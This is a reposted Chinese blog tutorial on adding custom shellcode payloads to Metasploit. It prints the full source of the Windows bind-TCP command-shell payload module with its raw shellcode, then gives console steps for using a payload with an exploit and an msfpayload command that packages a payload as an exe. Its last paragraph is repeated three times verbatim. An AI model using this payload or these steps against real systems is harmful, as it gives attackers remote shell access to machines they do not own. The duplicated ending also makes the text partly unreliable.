转载自:http://hi.baidu.com/cfan_/blog/item/f0679b2a4d8608285243c146.html#0
1、metasploit的shellcode,叫做payload,存放在这个目录:
C:\Users\Administrator\AppData\Local\msf32\modules\payloads
注:不同的操作系统当前目录前面位置略有差异,这个我就不多说了。
另外,我的metasploit不是最新版本,不知道新版本这个目录位置是否调整,应该没有吧。
2、metasploit使用的是ruby语言,它用的shellcode看起来是这样的:
## # $Id: shell_bind_tcp.rb 5773 2008-10-19 21:03:39Z ramon $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' require 'msf/core/handler/bind_tcp' module Metasploit3 include Msf::Payload::Windows include Msf::Payload::Single def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP Inline', 'Version' => '$Revision: 5773 $', 'Description' => 'Listen for a connection and spawn a command shell', 'Author' => 'vlad902', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, 'Payload' => { 'Offsets' => { 'LPORT' => [ 162, 'n' ], 'EXITFUNC' => [ 308, 'V' ], }, 'Payload' => "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c" + "\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" + "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" + "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" + "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" + "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" + "\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" + "\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" + "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53" + "\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" + "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66" + "\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" + "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53" + "\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1" + "\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" + "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" + "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50" + "\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57" + "\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d" + "\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" + "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93" + "\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff" + "\x75\x44\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01" + "\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" + "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" + "\xc4\x64\xff\xd6\x52\xff\xd0\x68\x7e\xd8\xe2\x73" + "\x53\xff\xd6\xff\xd0" } )) end end
上述代码是被保存为shell_bind_tcp.rb,放在C:\Users\Administrator\AppData\Local \msf32\modules\payloads\singles\windows目录的(payloads目录下面还有一些子目录,具体请自行查看)。
3、你如果要使用自己的shellcode,就要按照上述payload的样式构造好自己的payload,并放在合适的路径下,然后在metasploit里面就可以用了:
例如我习惯用metasploit的console:
use xxxx(exp name)
set xxxx xxxx(exp option 1)
set xxxx xxxx(exp option 2)
...
set payload xxxx(payload name)
set xxx xxx ...(payload options)
...
exploit
就OK了。
附图:
1、把自己构造好的shellcode/payload放在合适的目录:
2、启动metasploit的console,show payloads就可以看到自己的那个payload了,就可以使用了:
希望对你有所帮助。
以前一直用Metasploit来生成shellcode,然后再用c来编译。今天才发现,原来是可以直接生成exe的
执行Metasploit 3里的cmdshell
ruby msfpayload ************ x >c:\1.exe
这样就可以了
以前一直用Metasploit来生成shellcode,然后再用c来编译。今天才发现,原来是可以直接生成exe的
执行Metasploit 3里的cmdshell
ruby msfpayload ************ x >c:\1.exe
这样就可以了
以前一直用Metasploit来生成shellcode,然后再用c来编译。今天才发现,原来是可以直接生成exe的
执行Metasploit 3里的cmdshell
ruby msfpayload ************ x >c:\1.exe
这样就可以了